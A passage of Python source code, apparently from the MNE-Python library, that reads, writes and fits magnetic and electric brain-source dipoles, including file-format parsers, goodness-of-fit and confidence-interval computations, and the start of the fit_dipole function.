comment : str\n The dipole comment.\n %(verbose)s\n\n See Also\n --------\n read_dipole\n Dipole\n fit_dipole\n\n Notes\n -----\n This class is for fixed-position dipole fits, where the position\n (and maybe orientation) is static over time. For sequential dipole fits,\n where the position can change a function of time, use :class:`mne.Dipole`.\n\n .. versionadded:: 0.12\n \"\"\"\n\n @verbose\n def __init__(\n self, info, data, times, nave, aspect_kind, comment=\"\", *, verbose=None\n ):\n self.info = info\n self.nave = nave\n self._aspect_kind = aspect_kind\n self.kind = _aspect_rev.get(aspect_kind, \"unknown\")\n self.comment = comment\n self._set_times(np.array(times))\n self.data = data\n self.preload = True\n self._update_first_last()\n\n def __repr__(self): # noqa: D105\n s = \"n_times : %s\" % len(self.times)\n s += \", tmin : %s\" % np.min(self.times)\n s += \", tmax : %s\" % np.max(self.times)\n return \"\" % s\n\n def copy(self):\n \"\"\"Copy the DipoleFixed object.\n\n Returns\n -------\n inst : instance of DipoleFixed\n The copy.\n\n Notes\n -----\n .. versionadded:: 0.16\n \"\"\"\n return deepcopy(self)\n\n @property\n def ch_names(self):\n \"\"\"Channel names.\"\"\"\n return self.info[\"ch_names\"]\n\n @verbose\n def save(self, fname, verbose=None):\n \"\"\"Save dipole in a .fif file.\n\n Parameters\n ----------\n fname : path-like\n The name of the .fif file. Must end with ``'.fif'`` or\n ``'.fif.gz'`` to make it explicit that the file contains\n dipole information in FIF format.\n %(verbose)s\n \"\"\"\n check_fname(\n fname,\n \"DipoleFixed\",\n (\n \"-dip.fif\",\n \"-dip.fif.gz\",\n \"_dip.fif\",\n \"_dip.fif.gz\",\n ),\n (\".fif\", \".fif.gz\"),\n )\n _write_evokeds(fname, self, check=False)\n\n def plot(self, show=True, time_unit=\"s\"):\n \"\"\"Plot dipole data.\n\n Parameters\n ----------\n show : bool\n Call pyplot.show() at the end or not.\n time_unit : str\n The units for the time axis, can be \"ms\" or \"s\" (default).\n\n .. versionadded:: 0.16\n\n Returns\n -------\n fig : instance of matplotlib.figure.Figure\n The figure containing the time courses.\n \"\"\"\n return _plot_evoked(\n self,\n picks=None,\n exclude=(),\n unit=True,\n show=show,\n ylim=None,\n xlim=\"tight\",\n proj=False,\n hline=None,\n units=None,\n scalings=None,\n titles=None,\n axes=None,\n gfp=False,\n window_title=None,\n spatial_colors=False,\n plot_type=\"butterfly\",\n selectable=False,\n time_unit=time_unit,\n )\n\n\n# #############################################################################\n# IO\n@verbose\ndef read_dipole(fname, verbose=None):\n \"\"\"Read ``.dip`` file from Neuromag/xfit or MNE.\n\n Parameters\n ----------\n fname : path-like\n The name of the ``.dip`` or ``.fif`` file.\n %(verbose)s\n\n Returns\n -------\n %(dipole)s\n\n See Also\n --------\n Dipole\n DipoleFixed\n fit_dipole\n\n Notes\n -----\n .. versionchanged:: 0.20\n Support for reading bdip (Xfit binary) format.\n \"\"\"\n fname = _check_fname(fname, overwrite=\"read\", must_exist=True)\n if fname.suffix == \".fif\" or fname.name.endswith(\".fif.gz\"):\n return _read_dipole_fixed(fname)\n elif fname.suffix == \".bdip\":\n return _read_dipole_bdip(fname)\n else:\n return _read_dipole_text(fname)\n\n\ndef _read_dipole_text(fname):\n \"\"\"Read a dipole text file.\"\"\"\n # Figure out the special fields\n need_header = True\n def_line = name = None\n # There is a bug in older np.loadtxt regarding skipping fields,\n # so just read the data ourselves (need to get name and header anyway)\n data = list()\n with open(fname, \"r\") as fid:\n for line in fid:\n if not (line.startswith(\"%\") or line.startswith(\"#\")):\n need_header = False\n data.append(line.strip().split())\n else:\n if need_header:\n def_line = line\n if line.startswith(\"##\") or line.startswith(\"%%\"):\n m = re.search('Name \"(.*) dipoles\"', line)\n if m:\n name = m.group(1)\n del line\n data = np.atleast_2d(np.array(data, float))\n if def_line is None:\n raise OSError(\n \"Dipole text file is missing field definition \"\n \"comment, cannot parse %s\" % (fname,)\n )\n # actually parse the fields\n def_line = def_line.lstrip(\"%\").lstrip(\"#\").strip()\n # MNE writes it out differently than Elekta, let's standardize them...\n fields = re.sub(\n r\"([X|Y|Z] )\\(mm\\)\", # \"X (mm)\", etc.\n lambda match: match.group(1).strip() + \"/mm\",\n def_line,\n )\n fields = re.sub(\n r\"\\((.*?)\\)\",\n lambda match: \"/\" + match.group(1),\n fields, # \"Q(nAm)\", etc.\n )\n fields = re.sub(\n \"(begin|end) \", # \"begin\" and \"end\" with no units\n lambda match: match.group(1) + \"/ms\",\n fields,\n )\n fields = fields.lower().split()\n required_fields = (\n \"begin/ms\",\n \"x/mm\",\n \"y/mm\",\n \"z/mm\",\n \"q/nam\",\n \"qx/nam\",\n \"qy/nam\",\n \"qz/nam\",\n \"g/%\",\n )\n optional_fields = (\n \"khi^2\",\n \"free\", # standard ones\n # now the confidence fields (up to 5!)\n \"vol/mm^3\",\n \"depth/mm\",\n \"long/mm\",\n \"trans/mm\",\n \"qlong/nam\",\n \"qtrans/nam\",\n )\n conf_scales = [1e-9, 1e-3, 1e-3, 1e-3, 1e-9, 1e-9]\n missing_fields = sorted(set(required_fields) - set(fields))\n if len(missing_fields) > 0:\n raise RuntimeError(\n \"Could not find necessary fields in header: %s\" % (missing_fields,)\n )\n handled_fields = set(required_fields) | set(optional_fields)\n assert len(handled_fields) == len(required_fields) + len(optional_fields)\n ignored_fields = sorted(set(fields) - set(handled_fields) - {\"end/ms\"})\n if len(ignored_fields) > 0:\n warn(\"Ignoring extra fields in dipole file: %s\" % (ignored_fields,))\n if len(fields) != data.shape[1]:\n raise OSError(\n \"More data fields (%s) found than data columns (%s): %s\"\n % (len(fields), data.shape[1], fields)\n )\n\n logger.info(\"%d dipole(s) found\" % len(data))\n\n if \"end/ms\" in fields:\n if np.diff(\n data[:, [fields.index(\"begin/ms\"), fields.index(\"end/ms\")]], 1, -1\n ).any():\n warn(\n \"begin and end fields differed, but only begin will be used \"\n \"to store time values\"\n )\n\n # Find the correct column in our data array, then scale to proper units\n idx = [fields.index(field) for field in required_fields]\n assert len(idx) >= 9\n times = data[:, idx[0]] / 1000.0\n pos = 1e-3 * data[:, idx[1:4]] # put data in meters\n amplitude = data[:, idx[4]]\n norm = amplitude.copy()\n amplitude /= 1e9\n norm[norm == 0] = 1\n ori = data[:, idx[5:8]] / norm[:, np.newaxis]\n gof = data[:, idx[8]]\n # Deal with optional fields\n optional = [None] * 2\n for fi, field in enumerate(optional_fields[:2]):\n if field in fields:\n optional[fi] = data[:, fields.index(field)]\n khi2, nfree = optional\n conf = dict()\n for field, scale in zip(optional_fields[2:], conf_scales): # confidence\n if field in fields:\n conf[field.split(\"/\")[0]] = scale * data[:, fields.index(field)]\n return Dipole(times, pos, amplitude, ori, gof, name, conf, khi2, nfree)\n\n\ndef _write_dipole_text(fname, dip):\n fmt = \" %7.1f %7.1f %8.2f %8.2f %8.2f %8.3f %8.3f %8.3f %8.3f %6.2f\"\n header = (\n \"# begin end X (mm) Y (mm) Z (mm)\"\n \" Q(nAm) Qx(nAm) Qy(nAm) Qz(nAm) g/%\"\n )\n t = dip.times[:, np.newaxis] * 1000.0\n gof = dip.gof[:, np.newaxis]\n amp = 1e9 * dip.amplitude[:, np.newaxis]\n out = (t, t, dip.pos / 1e-3, amp, dip.ori * amp, gof)\n\n # optional fields\n fmts = dict(\n khi2=(\" khi^2\", \" %8.1f\", 1.0),\n nfree=(\" free\", \" %5d\", 1),\n vol=(\" vol/mm^3\", \" %9.3f\", 1e9),\n depth=(\" depth/mm\", \" %9.3f\", 1e3),\n long=(\" long/mm\", \" %8.3f\", 1e3),\n trans=(\" trans/mm\", \" %9.3f\", 1e3),\n qlong=(\" Qlong/nAm\", \" %10.3f\", 1e9),\n qtrans=(\" Qtrans/nAm\", \" %11.3f\", 1e9),\n )\n for key in (\"khi2\", \"nfree\"):\n data = getattr(dip, key)\n if data is not None:\n header += fmts[key][0]\n fmt += fmts[key][1]\n out += (data[:, np.newaxis] * fmts[key][2],)\n for key in (\"vol\", \"depth\", \"long\", \"trans\", \"qlong\", \"qtrans\"):\n data = dip.conf.get(key)\n if data is not None:\n header += fmts[key][0]\n fmt += fmts[key][1]\n out += (data[:, np.newaxis] * fmts[key][2],)\n out = np.concatenate(out, axis=-1)\n\n # NB CoordinateSystem is hard-coded as Head here\n with open(fname, \"wb\") as fid:\n fid.write('# CoordinateSystem \"Head\"\\n'.encode(\"utf-8\"))\n fid.write((header + \"\\n\").encode(\"utf-8\"))\n np.savetxt(fid, out, fmt=fmt)\n if dip.name is not None:\n fid.write(\n ('## Name \"%s dipoles\" Style \"Dipoles\"' % dip.name).encode(\"utf-8\")\n )\n\n\n_BDIP_ERROR_KEYS = (\"depth\", \"long\", \"trans\", \"qlong\", \"qtrans\")\n\n\ndef _read_dipole_bdip(fname):\n name = None\n nfree = None\n with open(fname, \"rb\") as fid:\n # Which dipole in a multi-dipole set\n times = list()\n pos = list()\n amplitude = list()\n ori = list()\n gof = list()\n conf = dict(vol=list())\n khi2 = list()\n has_errors = None\n while True:\n num = np.frombuffer(fid.read(4), \">i4\")\n if len(num) == 0:\n break\n times.append(np.frombuffer(fid.read(4), \">f4\")[0])\n fid.read(4) # end\n fid.read(12) # r0\n pos.append(np.frombuffer(fid.read(12), \">f4\"))\n Q = np.frombuffer(fid.read(12), \">f4\")\n amplitude.append(np.linalg.norm(Q))\n ori.append(Q / amplitude[-1])\n gof.append(100 * np.frombuffer(fid.read(4), \">f4\")[0])\n this_has_errors = bool(np.frombuffer(fid.read(4), \">i4\")[0])\n if has_errors is None:\n has_errors = this_has_errors\n for key in _BDIP_ERROR_KEYS:\n conf[key] = list()\n assert has_errors == this_has_errors\n fid.read(4) # Noise level used for error computations\n limits = np.frombuffer(fid.read(20), \">f4\") # error limits\n for key, lim in zip(_BDIP_ERROR_KEYS, limits):\n conf[key].append(lim)\n fid.read(100) # (5, 5) fully describes the conf. ellipsoid\n conf[\"vol\"].append(np.frombuffer(fid.read(4), \">f4\")[0])\n khi2.append(np.frombuffer(fid.read(4), \">f4\")[0])\n fid.read(4) # prob\n fid.read(4) # total noise estimate\n return Dipole(times, pos, amplitude, ori, gof, name, conf, khi2, nfree)\n\n\ndef _write_dipole_bdip(fname, dip):\n with open(fname, \"wb+\") as fid:\n for ti, t in enumerate(dip.times):\n fid.write(np.zeros(1, \">i4\").tobytes()) # int dipole\n fid.write(np.array([t, 0]).astype(\">f4\").tobytes())\n fid.write(np.zeros(3, \">f4\").tobytes()) # r0\n fid.write(dip.pos[ti].astype(\">f4\").tobytes()) # pos\n Q = dip.amplitude[ti] * dip.ori[ti]\n fid.write(Q.astype(\">f4\").tobytes())\n fid.write(np.array(dip.gof[ti] / 100.0, \">f4\").tobytes())\n has_errors = int(bool(len(dip.conf)))\n fid.write(np.array(has_errors, \">i4\").tobytes()) # has_errors\n fid.write(np.zeros(1, \">f4\").tobytes()) # noise level\n for key in _BDIP_ERROR_KEYS:\n val = dip.conf[key][ti] if key in dip.conf else 0.0\n assert val.shape == ()\n fid.write(np.array(val, \">f4\").tobytes())\n fid.write(np.zeros(25, \">f4\").tobytes())\n conf = dip.conf[\"vol\"][ti] if \"vol\" in dip.conf else 0.0\n fid.write(np.array(conf, \">f4\").tobytes())\n khi2 = dip.khi2[ti] if dip.khi2 is not None else 0\n fid.write(np.array(khi2, \">f4\").tobytes())\n fid.write(np.zeros(1, \">f4\").tobytes()) # prob\n fid.write(np.zeros(1, \">f4\").tobytes()) # total noise est\n\n\n# #############################################################################\n# Fitting\n\n\ndef _dipole_forwards(*, sensors, fwd_data, whitener, rr, n_jobs=None):\n \"\"\"Compute the forward solution and do other nice stuff.\"\"\"\n B = _compute_forwards_meeg(\n rr, sensors=sensors, fwd_data=fwd_data, n_jobs=n_jobs, silent=True\n )\n B = np.concatenate(list(B.values()), axis=1)\n assert np.isfinite(B).all()\n B_orig = B.copy()\n\n # Apply projection and whiten (cov has projections already)\n _, _, dgemm = _get_ddot_dgemv_dgemm()\n B = dgemm(1.0, B, whitener.T)\n\n # column normalization doesn't affect our fitting, so skip for now\n # S = np.sum(B * B, axis=1) # across channels\n # scales = np.repeat(3. / np.sqrt(np.sum(np.reshape(S, (len(rr), 3)),\n # axis=1)), 3)\n # B *= scales[:, np.newaxis]\n scales = np.ones(3)\n return B, B_orig, scales\n\n\n@verbose\ndef _make_guesses(surf, grid, exclude, mindist, n_jobs=None, verbose=None):\n \"\"\"Make a guess space inside a sphere or BEM surface.\"\"\"\n if \"rr\" in surf:\n logger.info(\n \"Guess surface (%s) is in %s coordinates\"\n % (_bem_surf_name[surf[\"id\"]], _coord_frame_name(surf[\"coord_frame\"]))\n )\n else:\n logger.info(\n \"Making a spherical guess space with radius %7.1f mm...\"\n % (1000 * surf[\"R\"])\n )\n logger.info(\"Filtering (grid = %6.f mm)...\" % (1000 * grid))\n src = _make_volume_source_space(\n surf, grid, exclude, 1000 * mindist, do_neighbors=False, n_jobs=n_jobs\n )[0]\n assert \"vertno\" in src\n # simplify the result to make things easier later\n src = dict(\n rr=src[\"rr\"][src[\"vertno\"]],\n nn=src[\"nn\"][src[\"vertno\"]],\n nuse=src[\"nuse\"],\n coord_frame=src[\"coord_frame\"],\n vertno=np.arange(src[\"nuse\"]),\n type=\"discrete\",\n )\n return SourceSpaces([src])\n\n\ndef _fit_eval(rd, B, B2, *, sensors, fwd_data, whitener, lwork, fwd_svd):\n \"\"\"Calculate the residual sum of squares.\"\"\"\n if fwd_svd is None:\n assert sensors is not None\n fwd = _dipole_forwards(\n sensors=sensors, fwd_data=fwd_data, whitener=whitener, rr=rd[np.newaxis, :]\n )[0]\n uu, sing, vv = _repeated_svd(fwd, lwork, overwrite_a=True)\n else:\n uu, sing, vv = fwd_svd\n gof = _dipole_gof(uu, sing, vv, B, B2)[0]\n # mne-c uses fitness=B2-Bm2, but ours (1-gof) is just a normalized version\n return 1.0 - gof\n\n\n@functools.lru_cache(None)\ndef _get_ddot_dgemv_dgemm():\n return _get_blas_funcs(np.float64, (\"dot\", \"gemv\", \"gemm\"))\n\n\ndef _dipole_gof(uu, sing, vv, B, B2):\n \"\"\"Calculate the goodness of fit from the forward SVD.\"\"\"\n ddot, dgemv, _ = _get_ddot_dgemv_dgemm()\n ncomp = 3 if sing[2] / (sing[0] if sing[0] > 0 else 1.0) > 0.2 else 2\n one = dgemv(1.0, vv[:ncomp], B) # np.dot(vv[:ncomp], B)\n Bm2 = ddot(one, one) # np.sum(one * one)\n gof = Bm2 / B2\n return gof, one\n\n\ndef _fit_Q(*, sensors, fwd_data, whitener, B, B2, B_orig, rd, ori=None):\n \"\"\"Fit the dipole moment once the location is known.\"\"\"\n if \"fwd\" in fwd_data:\n # should be a single precomputed \"guess\" (i.e., fixed position)\n assert rd is None\n fwd = fwd_data[\"fwd\"]\n assert fwd.shape[0] == 3\n fwd_orig = fwd_data[\"fwd_orig\"]\n assert fwd_orig.shape[0] == 3\n scales = fwd_data[\"scales\"]\n assert scales.shape == (3,)\n fwd_svd = fwd_data[\"fwd_svd\"][0]\n else:\n fwd, fwd_orig, scales = _dipole_forwards(\n sensors=sensors, fwd_data=fwd_data, whitener=whitener, rr=rd[np.newaxis, :]\n )\n fwd_svd = None\n if ori is None:\n if fwd_svd is None:\n fwd_svd = _safe_svd(fwd, full_matrices=False)\n uu, sing, vv = fwd_svd\n gof, one = _dipole_gof(uu, sing, vv, B, B2)\n ncomp = len(one)\n one /= sing[:ncomp]\n Q = np.dot(one, uu.T[:ncomp])\n else:\n fwd = np.dot(ori[np.newaxis], fwd)\n sing = np.linalg.norm(fwd)\n one = np.dot(fwd / sing, B)\n gof = (one * one)[0] / B2\n Q = ori * np.sum(one / sing)\n ncomp = 3\n # Counteract the effect of column normalization\n Q *= scales[0]\n B_residual_noproj = B_orig - np.dot(fwd_orig.T, Q)\n return Q, gof, B_residual_noproj, ncomp\n\n\ndef _fit_dipoles(\n fun,\n min_dist_to_inner_skull,\n data,\n times,\n guess_rrs,\n guess_data,\n *,\n sensors,\n fwd_data,\n whitener,\n ori,\n n_jobs,\n rank,\n rhoend,\n):\n \"\"\"Fit a single dipole to the given whitened, projected data.\"\"\"\n parallel, p_fun, n_jobs = parallel_func(fun, n_jobs)\n # parallel over time points\n res = parallel(\n p_fun(\n min_dist_to_inner_skull,\n B,\n t,\n guess_rrs,\n guess_data,\n sensors=sensors,\n fwd_data=fwd_data,\n whitener=whitener,\n fmin_cobyla=fmin_cobyla,\n ori=ori,\n rank=rank,\n rhoend=rhoend,\n )\n for B, t in zip(data.T, times)\n )\n pos = np.array([r[0] for r in res])\n amp = np.array([r[1] for r in res])\n ori = np.array([r[2] for r in res])\n gof = np.array([r[3] for r in res]) * 100 # convert to percentage\n conf = None\n if res[0][4] is not None:\n conf = np.array([r[4] for r in res])\n keys = [\"vol\", \"depth\", \"long\", \"trans\", \"qlong\", \"qtrans\"]\n conf = {key: conf[:, ki] for ki, key in enumerate(keys)}\n khi2 = np.array([r[5] for r in res])\n nfree = np.array([r[6] for r in res])\n residual_noproj = np.array([r[7] for r in res]).T\n\n return pos, amp, ori, gof, conf, khi2, nfree, residual_noproj\n\n\n'''Simplex code in case we ever want/need it for testing\n\ndef _make_tetra_simplex():\n \"\"\"Make the initial tetrahedron\"\"\"\n #\n # For this definition of a regular tetrahedron, see\n #\n # http://mathworld.wolfram.com/Tetrahedron.html\n #\n x = np.sqrt(3.0) / 3.0\n r = np.sqrt(6.0) / 12.0\n R = 3 * r\n d = x / 2.0\n simplex = 1e-2 * np.array([[x, 0.0, -r],\n [-d, 0.5, -r],\n [-d, -0.5, -r],\n [0., 0., R]])\n return simplex\n\n\ndef try_(p, y, psum, ndim, fun, ihi, neval, fac):\n \"\"\"Helper to try a value\"\"\"\n ptry = np.empty(ndim)\n fac1 = (1.0 - fac) / ndim\n fac2 = fac1 - fac\n ptry = psum * fac1 - p[ihi] * fac2\n ytry = fun(ptry)\n neval += 1\n if ytry < y[ihi]:\n y[ihi] = ytry\n psum[:] += ptry - p[ihi]\n p[ihi] = ptry\n return ytry, neval\n\n\ndef _simplex_minimize(p, ftol, stol, fun, max_eval=1000):\n \"\"\"Minimization with the simplex algorithm\n\n Modified from Numerical recipes\"\"\"\n y = np.array([fun(s) for s in p])\n ndim = p.shape[1]\n assert p.shape[0] == ndim + 1\n mpts = ndim + 1\n neval = 0\n psum = p.sum(axis=0)\n\n loop = 1\n while(True):\n ilo = 1\n if y[1] > y[2]:\n ihi = 1\n inhi = 2\n else:\n ihi = 2\n inhi = 1\n for i in range(mpts):\n if y[i] < y[ilo]:\n ilo = i\n if y[i] > y[ihi]:\n inhi = ihi\n ihi = i\n elif y[i] > y[inhi]:\n if i != ihi:\n inhi = i\n\n rtol = 2 * np.abs(y[ihi] - y[ilo]) / (np.abs(y[ihi]) + np.abs(y[ilo]))\n if rtol < ftol:\n break\n if neval >= max_eval:\n raise RuntimeError('Maximum number of evaluations exceeded.')\n if stol > 0: # Has the simplex collapsed?\n dsum = np.sqrt(np.sum((p[ilo] - p[ihi]) ** 2))\n if loop > 5 and dsum < stol:\n break\n\n ytry, neval = try_(p, y, psum, ndim, fun, ihi, neval, -1.)\n if ytry <= y[ilo]:\n ytry, neval = try_(p, y, psum, ndim, fun, ihi, neval, 2.)\n elif ytry >= y[inhi]:\n ysave = y[ihi]\n ytry, neval = try_(p, y, psum, ndim, fun, ihi, neval, 0.5)\n if ytry >= ysave:\n for i in range(mpts):\n if i != ilo:\n psum[:] = 0.5 * (p[i] + p[ilo])\n p[i] = psum\n y[i] = fun(psum)\n neval += ndim\n psum = p.sum(axis=0)\n loop += 1\n'''\n\n\ndef _fit_confidence(*, rd, Q, ori, whitener, fwd_data, sensors):\n # As describedd in the Xfit manual, confidence intervals can be calculated\n # by examining a linearization of model at the best-fitting location,\n # i.e. taking the Jacobian and using the whitener:\n #\n # J = [∂b/∂x ∂b/∂y ∂b/∂z ∂b/∂Qx ∂b/∂Qy ∂b/∂Qz]\n # C = (J.T C^-1 J)^-1\n #\n # And then the confidence interval is the diagonal of C, scaled by 1.96\n # (for 95% confidence).\n direction = np.empty((3, 3))\n # The coordinate system has the x axis aligned with the dipole orientation,\n direction[0] = ori\n # the z axis through the origin of the sphere model\n rvec = rd - fwd_data[\"inner_skull\"][\"r0\"]\n direction[2] = rvec - ori * np.dot(ori, rvec) # orthogonalize\n direction[2] /= np.linalg.norm(direction[2])\n # and the y axis perpendical with these forming a right-handed system.\n direction[1] = np.cross(direction[2], direction[0])\n assert np.allclose(np.dot(direction, direction.T), np.eye(3))\n # Get spatial deltas in dipole coordinate directions\n deltas = (-1e-4, 1e-4)\n J = np.empty((whitener.shape[0], 6))\n for ii in range(3):\n fwds = []\n for delta in deltas:\n this_r = rd[np.newaxis] + delta * direction[ii]\n fwds.append(\n np.dot(\n Q,\n _dipole_forwards(\n sensors=sensors, fwd_data=fwd_data, whitener=whitener, rr=this_r\n )[0],\n )\n )\n J[:, ii] = np.diff(fwds, axis=0)[0] / np.diff(deltas)[0]\n # Get current (Q) deltas in the dipole directions\n deltas = np.array([-0.01, 0.01]) * np.linalg.norm(Q)\n this_fwd = _dipole_forwards(\n sensors=sensors, fwd_data=fwd_data, whitener=whitener, rr=rd[np.newaxis]\n )[0]\n for ii in range(3):\n fwds = []\n for delta in deltas:\n fwds.append(np.dot(Q + delta * direction[ii], this_fwd))\n J[:, ii + 3] = np.diff(fwds, axis=0)[0] / np.diff(deltas)[0]\n # J is already whitened, so we don't need to do np.dot(whitener, J).\n # However, the units in the Jacobian are potentially quite different,\n # so we need to do some normalization during inversion, then revert.\n direction_norm = np.linalg.norm(J[:, :3])\n Q_norm = np.linalg.norm(J[:, 3:5]) # omit possible zero Z\n norm = np.array([direction_norm] * 3 + [Q_norm] * 3)\n J /= norm\n J = np.dot(J.T, J)\n C = pinvh(J, rtol=1e-14)\n C /= norm\n C /= norm[:, np.newaxis]\n conf = 1.96 * np.sqrt(np.diag(C))\n # The confidence volume of the dipole location is obtained from by\n # taking the eigenvalues of the upper left submatrix and computing\n # v = 4π/3 √(c^3 λ1 λ2 λ3) with c = 7.81, or:\n vol_conf = (\n 4\n * np.pi\n / 3.0\n * np.sqrt(476.379541 * np.prod(eigh(C[:3, :3], eigvals_only=True)))\n )\n conf = np.concatenate([conf, [vol_conf]])\n # Now we reorder and subselect the proper columns:\n # vol, depth, long, trans, Qlong, Qtrans (discard Qdepth, assumed zero)\n conf = conf[[6, 2, 0, 1, 3, 4]]\n return conf\n\n\ndef _surface_constraint(rd, surf, min_dist_to_inner_skull):\n \"\"\"Surface fitting constraint.\"\"\"\n dist = _compute_nearest(surf[\"rr\"], rd[np.newaxis, :], return_dists=True)[1][0]\n if _points_outside_surface(rd[np.newaxis, :], surf, 1)[0]:\n dist *= -1.0\n # Once we know the dipole is below the inner skull,\n # let's check if its distance to the inner skull is at least\n # min_dist_to_inner_skull. This can be enforced by adding a\n # constrain proportional to its distance.\n dist -= min_dist_to_inner_skull\n return dist\n\n\ndef _sphere_constraint(rd, r0, R_adj):\n \"\"\"Sphere fitting constraint.\"\"\"\n return R_adj - np.sqrt(np.sum((rd - r0) ** 2))\n\n\ndef _fit_dipole(\n min_dist_to_inner_skull,\n B_orig,\n t,\n guess_rrs,\n guess_data,\n *,\n sensors,\n fwd_data,\n whitener,\n fmin_cobyla,\n ori,\n rank,\n rhoend,\n):\n \"\"\"Fit a single bit of data.\"\"\"\n B = np.dot(whitener, B_orig)\n\n # make constraint function to keep the solver within the inner skull\n if \"rr\" in fwd_data[\"inner_skull\"]: # bem\n surf = fwd_data[\"inner_skull\"]\n constraint = partial(\n _surface_constraint,\n surf=surf,\n min_dist_to_inner_skull=min_dist_to_inner_skull,\n )\n else: # sphere\n surf = None\n constraint = partial(\n _sphere_constraint,\n r0=fwd_data[\"inner_skull\"][\"r0\"],\n R_adj=fwd_data[\"inner_skull\"][\"R\"] - min_dist_to_inner_skull,\n )\n\n # Find a good starting point (find_best_guess in C)\n B2 = np.dot(B, B)\n if B2 == 0:\n warn(\"Zero field found for time %s\" % t)\n return np.zeros(3), 0, np.zeros(3), 0, B\n\n idx = np.argmin(\n [\n _fit_eval(\n guess_rrs[[fi], :],\n B,\n B2,\n fwd_svd=fwd_svd,\n fwd_data=None,\n sensors=None,\n whitener=None,\n lwork=None,\n )\n for fi, fwd_svd in enumerate(guess_data[\"fwd_svd\"])\n ]\n )\n x0 = guess_rrs[idx]\n lwork = _svd_lwork((3, B.shape[0]))\n fun = partial(\n _fit_eval,\n B=B,\n B2=B2,\n fwd_data=fwd_data,\n whitener=whitener,\n lwork=lwork,\n sensors=sensors,\n fwd_svd=None,\n )\n\n # Tested minimizers:\n # Simplex, BFGS, CG, COBYLA, L-BFGS-B, Powell, SLSQP, TNC\n # Several were similar, but COBYLA won for having a handy constraint\n # function we can use to ensure we stay inside the inner skull /\n # smallest sphere\n rd_final = fmin_cobyla(\n fun, x0, (constraint,), consargs=(), rhobeg=5e-2, rhoend=rhoend, disp=False\n )\n\n # simplex = _make_tetra_simplex() + x0\n # _simplex_minimize(simplex, 1e-4, 2e-4, fun)\n # rd_final = simplex[0]\n\n # Compute the dipole moment at the final point\n Q, gof, residual_noproj, n_comp = _fit_Q(\n sensors=sensors,\n fwd_data=fwd_data,\n whitener=whitener,\n B=B,\n B2=B2,\n B_orig=B_orig,\n rd=rd_final,\n ori=ori,\n )\n khi2 = (1 - gof) * B2\n nfree = rank - n_comp\n amp = np.sqrt(np.dot(Q, Q))\n norm = 1.0 if amp == 0.0 else amp\n ori = Q / norm\n\n conf = _fit_confidence(\n sensors=sensors, rd=rd_final, Q=Q, ori=ori, whitener=whitener, fwd_data=fwd_data\n )\n\n msg = \"---- Fitted : %7.1f ms\" % (1000.0 * t)\n if surf is not None:\n dist_to_inner_skull = _compute_nearest(\n surf[\"rr\"], rd_final[np.newaxis, :], return_dists=True\n )[1][0]\n msg += \", distance to inner skull : %2.4f mm\" % (dist_to_inner_skull * 1000.0)\n\n logger.info(msg)\n return rd_final, amp, ori, gof, conf, khi2, nfree, residual_noproj\n\n\ndef _fit_dipole_fixed(\n min_dist_to_inner_skull,\n B_orig,\n t,\n guess_rrs,\n guess_data,\n *,\n sensors,\n fwd_data,\n whitener,\n fmin_cobyla,\n ori,\n rank,\n rhoend,\n):\n \"\"\"Fit a data using a fixed position.\"\"\"\n B = np.dot(whitener, B_orig)\n B2 = np.dot(B, B)\n if B2 == 0:\n warn(\"Zero field found for time %s\" % t)\n return np.zeros(3), 0, np.zeros(3), 0, np.zeros(6)\n # Compute the dipole moment\n Q, gof, residual_noproj = _fit_Q(\n fwd_data=guess_data,\n whitener=whitener,\n B=B,\n B2=B2,\n B_orig=B_orig,\n sensors=sensors,\n rd=None,\n ori=ori,\n )[:3]\n if ori is None:\n amp = np.sqrt(np.dot(Q, Q))\n norm = 1.0 if amp == 0.0 else amp\n ori = Q / norm\n else:\n amp = np.dot(Q, ori)\n rd_final = guess_rrs[0]\n # This will be slow, and we don't use it anyway, so omit it for now:\n # conf = _fit_confidence(rd_final, Q, ori, whitener, fwd_data)\n conf = khi2 = nfree = None\n # No corresponding 'logger' message here because it should go *very* fast\n return rd_final, amp, ori, gof, conf, khi2, nfree, residual_noproj\n\n\n@verbose\ndef fit_dipole(\n evoked,\n cov,\n bem,\n trans=None,\n min_dist=5.0,\n n_jobs=None,\n pos=None,\n ori=None,\n rank=None,\n accuracy=\"normal\",\n tol=5e-5,\n verbose=None,\n):\n \"\"\"Fit a dipole.\n\n Parameters\n ----------\n evoked : instance of Evoked\n The dataset to fit.\n cov : str | instance of Covariance\n The noise covariance.\n bem : path-like | instance of ConductorModel\n The BEM filename (str) or conductor model.\n trans : path-like | None\n The head<->MRI transform filename. Must be provided unless BEM\n is a sphere model.\n min_dist : float\n Minimum distance (in millimeters) from the dipole to the inner skull.\n Must be positive. Note that because this is a constraint passed to\n a solver it is not strict but close, i.e. for a ``min_dist=5.`` the\n fits could be 4.9 mm from the inner skull.\n %(n_jobs)s\n It is used in field computation and fitting.\n pos : ndarray, shape (3,) | None\n Position of the dipole to use. If None (default), sequential\n fitting (different position and orientation for each time instance)\n is performed. If a position (in head coords) is given as an array,\n the position is fixed during fitting.\n\n .. versionadded:: 0.12\n ori : ndarray, shape (3,) | None\n Orientation of the dipole to use. If None (default), the\n orientation is free to change as a function of time. If an\n orientation (in head coordinates) is given as an array, ``pos``\n must also be provided, and the routine computes the amplitude and\n goodness of fit of the dipole at the given position and orientation\n for each time instant.\n\n .. versionadded:: 0.12\n %(rank_none)s\n\n .. versionadded:: 0.20\n accuracy : str\n Can be ``\"normal\"`` (default) or ``\"accurate\"``, which gives the most\n accurate coil definition but is typically not necessary for real-world\n data.\n\n .. versionadded:: 0.24\n tol : float\n Final accuracy of the optimization (see ``rhoend`` argument of\n :func:`scipy.optimize.fmin_cobyla`).\n\n .. versionadded:: 0.24\n %(verbose)s\n\n Returns\n -------\n dip : instance of Dipole or DipoleFixed\n The dipole fits. A :class:`mne.DipoleFixed` is returned if\n ``pos`` and ``ori`` are both not None, otherwise a\n :class:`mne.Dipole` is returned.\n residual : instance of Evoked\n The M-EEG data channels with the fitted dipolar activity removed.\n\n See Also\n --------\n mne.beamformer.rap_music\n Dipole\n DipoleFixed\n read_dipole\n\n Notes\n -----\n .. versionadded:: 0.9.0\n \"\"\"\n # This could eventually be adapted to work with other inputs, these\n # are what is needed:\n\n evoked = evoked.copy()\n _validate_type(accuracy, str, \"accuracy\")\n _check_option(\"accuracy\", accuracy, (\"accurate\", \"normal\"))\n\n # Determine if a list of projectors has an average EEG ref\n if _needs_eeg_average_ref_proj(evoked.info):\n raise ValueError(\"EEG average reference is mandatory for dipole \" \"fitting.\")\n if min_dist < 0:\n raise ValueError(\"min_dist should be positive. Got %s\" % 